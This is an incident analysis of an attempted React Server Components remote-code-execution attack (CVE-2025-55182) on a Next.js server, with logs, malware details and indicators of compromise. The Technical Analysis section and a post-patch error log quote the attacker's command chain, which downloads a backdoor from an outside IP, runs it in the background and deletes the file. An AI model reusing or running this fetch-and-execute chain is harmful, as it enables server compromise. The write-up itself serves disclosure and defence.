CVE-2025-55182 Attack Analysis: React Server Components RCE

Real-world attack analysis on a production Next.js application

📋 Table of Contents

Executive Summary
Vulnerability Overview
Attack Timeline
Technical Analysis
Malware Analysis
Indicators of Compromise (IOCs)
Mitigation & Response
Lessons Learned
References

Executive Summary

On December 5, 2025, our production Next.js application was targeted by attackers exploiting CVE-2025-55182 (React2Shell), a critical Remote Code Execution vulnerability in React Server Components. The attack attempted to download and execute a Linux backdoor trojan on our server.

Attribute	Value
CVE ID	CVE-2025-55182
CVSS Score	9.8 (Critical)
Attack Date	December 5, 2025
Attack Outcome	✅ Blocked (post-patch)
Malware Type	Linux Backdoor Trojan
Affected Stack	Next.js + React Server Components

Vulnerability Overview

What is CVE-2025-55182?

CVE-2025-55182, also known as "React2Shell", is a critical Remote Code Execution (RCE) vulnerability affecting React Server Components (RSC) in:

React: versions 19.0.0 - 19.2.1
Next.js: versions 15.x and 16.x (before patches)

Root Cause

The vulnerability exists in the renderToReadableStream() function within React's Flight Server. When processing specially crafted RSC payloads, the server fails to properly sanitize certain input, leading to arbitrary code execution.

Attack Vector

Attacker → Malicious RSC Payload → Flight Server → eval() → RCE

The attacker sends a crafted POST request with a malicious serialized payload that gets deserialized and executed on the server.

Attack Timeline

Phase 1: Initial Exploitation Attempts (Pre-Patch)

Timestamp (UTC)	Event
Dec 5, 06:20	First attack detected via Sentry
Dec 5, 06:20	Payload attempts to execute shell commands
Dec 5, 06:20	Attack partially successful (pre-patch)

Sentry Error Log (Pre-Patch):

Error: root
  at eval (eval at <anonymous>, <anonymous>:3:6)
  at nk (chunk.js)
  at JSON.parse (<anonymous>)
  at n5 (/app/node_modules/next/dist/server/app-render.js)

Phase 2: Patch Deployment

Timestamp	Action
Dec 4, 14:13	Upgraded to Next.js 16.0.7
Dec 4, 14:13	Deployed patched version (v1.0.0-beta-4)

Phase 3: Post-Patch Attack Blocked

Timestamp (UTC)	Event
Dec 5, 08:48	Attack attempt detected
Dec 5, 08:48	Payload execution BLOCKED
Dec 5, 08:48	Error: `syntax error: unexpected ";"`

Sentry Error Log (Post-Patch):

Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ; 
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"

The patch successfully prevented the malicious command from executing.

Technical Analysis

Attack Request Details

Attribute	Value
Target URL	`https://[REDACTED]/`
Method	POST
User-Agent	`Python Requests 2.31`
Origin	Automated attack script

Payload Analysis

The attacker attempted to execute the following command chain:

wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim

Breakdown:

Step	Command	Purpose
1	`wget http://45.76.155.14/vim -O /tmp/vim`	Download malware
2	`chmod +x /tmp/vim`	Make executable
3	`nohup /tmp/vim > /dev/null 2>&1 &`	Run in background, persist after logout
4	`rm -f /tmp/vim`	Delete evidence

Server Environment

Component	Version
OS	Alpine Linux 3.23.0
Runtime	Node.js v20.19.6
Framework	Next.js 16.0.7 (patched)
Container	Docker

Malware Analysis

File Information

Attribute	Value
Filename	`vim` (disguised as legitimate tool)
SHA256	`0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce`
File Type	ELF 64-bit LSB executable, x86-64
Language	Go (compiled binary)
File Size	~4.7 MB

VirusTotal Results

Detection Rate: 13/72 (18%)

Vendor	Detection Name
DrWeb	`Linux.BackDoor.Siggen.389`
AhnLab-V3	`Backdoor/Linux.Agent.4780032`
Kaspersky	`HEUR:Trojan.Linux.Agent.gen`
ESET-NOD32	`Linux/Agent.PX Trojan`
Avast/AVG	`ELF:Agent-BQE [Trj]`
AliCloud	`Trojan:Linux/Agent.ff565f70`
Antiy-AVL	`Trojan/Linux.Agent.px`
Rising	`Trojan.Agent/Linux!8.13268`
SentinelOne	`Static AI - Suspicious ELF`
Tencent	`Malware.Linux.Generic.1c03c8b9`
Zillya	`Trojan.Agent.Linux.5292`

VirusTotal Link: View Analysis

Binary Analysis

ELF Header:

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000  ..>.....`.E.....

Identified Capabilities:

Capability	Evidence
HTTP/HTTPS Client	`net/http`, `*http.Client`
TLS Encryption	`crypto/tls`, `crypto/aes`
SOCKS5 Proxy	`socks`, `socks5`
DNS Resolution	`net/dns/dnsmessage`
Strong Crypto	`chacha20poly1305`, `Ed25519`

Extracted Strings (Relevant):

crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack

IDS Rules Triggered

Severity	Rule	Source
LOW	`ET POLICY HTTP traffic on port 443 (POST)`	Proofpoint ET Open
LOW	`ET DNS Query for .cc TLD`	Proofpoint ET Open

Malware Classification

Type: Linux Backdoor Trojan

Capabilities:

Remote shell access
Command & Control (C2) communication
File upload/download
Encrypted communications
Traffic tunneling via SOCKS5
Persistence mechanisms

Indicators of Compromise (IOCs)

Network IOCs

Type	Value	Description
IP Address	`45.76.155.14`	Malware distribution server
URL	`http://45.76.155.14/vim`	Malware download URL
Hosting	Vultr VPS	Cloud provider
TLD	`.cc`	C2 domain uses .cc TLD

File IOCs

Type	Value
SHA256	`0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce`
SHA1	`[Calculate if needed]`
MD5	`[Calculate if needed]`
Filename	`vim` (disguised)
File Type	ELF 64-bit x86-64
File Size	~4.7 MB

Behavioral IOCs

Indicator	Description
`wget` to external IP	Downloads from non-standard URLs
Files in `/tmp/`	Suspicious executable in temp directory
`nohup` + background execution	Persistence attempt
Immediate file deletion	Evidence cleanup
Python Requests User-Agent	Automated attack tool

Most Popular

CVE-2025-55182-Attack-Analysis